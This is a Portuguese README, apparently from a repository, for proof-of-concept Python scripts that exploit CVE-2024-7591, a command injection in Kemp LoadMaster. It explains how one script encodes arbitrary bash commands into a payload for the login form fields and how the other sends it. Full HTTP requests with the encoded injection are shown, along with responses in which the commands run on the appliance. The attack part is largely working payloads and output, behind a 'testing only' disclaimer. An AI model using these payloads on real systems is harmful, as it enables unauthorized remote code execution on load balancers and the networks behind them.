
Estes scripts Python de PoC testam o Kemp LoadMaster para execução remota de código.
Estes scripts Python PoC testam o Kemp LoadMaster para execução remota de código.
ESTA FERRAMENTA DESTINA-SE APENAS A FINS DE TESTE
Estes scripts foram baseados no artigo de Marius Walter sobre os detalhes desta exploração. Pode ler o seu post em: https://insinuator.net/2024/11/vulnerability-disclosure-command-injection-in-kemp-loadmaster-load-balancer-cve-2024-7591/
Este é um script python3 concebido para testar um LoadMaster contra CVE-2024-7591.
UTILIZAÇÃO:
O KempRCECommandGenerator.py foi concebido para receber um comando bash e convertê-lo numa forma codificada que pode ser usada para executar comandos remotos contra um LoadMaster vulnerável. O resultado deste código destina-se a ser utilizado em conjunto com o Burp Suite ou outra ferramenta para enviar comandos remotos para o servidor.
Exemplo:
$: python3 ./KempRCECommandGenerator.py
Introduza o seu comando: echo hello
Coloque esta saída no campo token, token2, user ou pass
no pedido POST para /progs/status/login.
%01%78%27%3b%65%63%68%6f%20%68%65%6c%6c%6f%3b%65%63%68%6f%20%27%01
$:
A saída do seu comando deve estar presente na resposta após os cabeçalhos HTTP e antes do código HTML.
O KempExploit.py é um script Python independente para testar se a vulnerabilidade é explorável ou para executar código personalizado.
PRÉ-REQUISITOS:
requests
urllib3
bs4
textwrap
Exemplo:
$: python3 ./KempExploit.py -i 10.0.1.50 --verbose --secure
Introduza o seu comando para enviar ou deixe em branco para testar:
Parece que encontrei um alvo e alguns tokens. Quer continuar? [s/N]s
---------------- pedido ----------------
POST https://10.0.1.50:443/progs/status/login
User-Agent: python-requests/2.32.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 196
token=d8a7863c4a3b59a56b42403cf9100435&token2=b1e63802eb144a814c00ffa8c870d3c6&logsub=Login&user=pwn&pass=%01%78%78%78%27%3b%65%63%68%6f%20%65%78%70%6c%6f%69%74%61%62%6c%65%3b%65%63%68%6f%20%27%01
---------------- resposta ----------------
200 OK https://10.0.1.50:443/progs/status/login
Date: Tue, 12 Aug 2025 00:55:32 GMT
Connection: Keep-Alive
Content-Type: text/html
Transfer-Encoding: chunked
exploitable
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Connection: close
Cache-Control: no-cache, max-age=0, must-revalidate, no-store
<!DOCTYPE html>
<html>
<head>
<script>
alert("Login Failed");
</script>
<script>
if(parent && parent != window){
parent.location = "/";
parent.location.reload(true);
}
</script>
</head>
</html>
Código de estado do POST de login: 200
✅ 'exploitable' encontrado na resposta, servidor confirmado como vulnerável.
$:
Exemplo 2:
$: python3 ./KempExploit.py -i 10.0.1.50 --secure --verbose
Introduza o seu comando para enviar ou deixe em branco para testar: ping -c2 10.0.1.16
Parece que encontrei um alvo e alguns tokens. Quer continuar? [s/N]s
A executar o comando ping -c2 10.0.1.16
O comando codificado é: %01%78%27%3b%70%69%6e%67%20%2d%63%32%20%31%30%2e%30%2e%31%2e%31%36%3b%65%63%68%6f%20%27%01
---------------- pedido ----------------
POST https://10.0.1.50:443/progs/status/login
User-Agent: python-requests/2.32.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 196
token=a236deda9bb1d4930a331e92caf269ad&token2=a5a5587fd8babd690851f32a85faabb8&logsub=Login&user=pwn&pass=%01%78%27%3b%70%69%6e%67%20%2d%63%32%20%31%30%2e%30%2e%31%2e%31%36%3b%65%63%68%6f%20%27%01
---------------- resposta ----------------
200 OK https://10.0.1.50:443/progs/status/login
Date: Tue, 12 Aug 2025 00:59:08 GMT
Connection: Keep-Alive
Content-Type: text/html
Transfer-Encoding: chunked
PING 10.0.1.16 (10.0.1.16) 56(84) bytes of data.
64 bytes from 10.0.1.16: icmp_seq=1 ttl=63 time=6.71 ms
64 bytes from 10.0.1.16: icmp_seq=2 ttl=63 time=5.34 ms
--- 10.0.1.16 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 5.349/6.030/6.712/0.685 ms
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Connection: close
Cache-Control: no-cache, max-age=0, must-revalidate, no-store
<!DOCTYPE html>
<html>
<head>
<script>
alert("Login Failed");
</script>
<script>
if(parent && parent != window){
parent.location = "/";
parent.location.reload(true);
}
</script>
</head>
</html>
Código de estado do POST de login: 200
Comando enviado com sucesso.
$: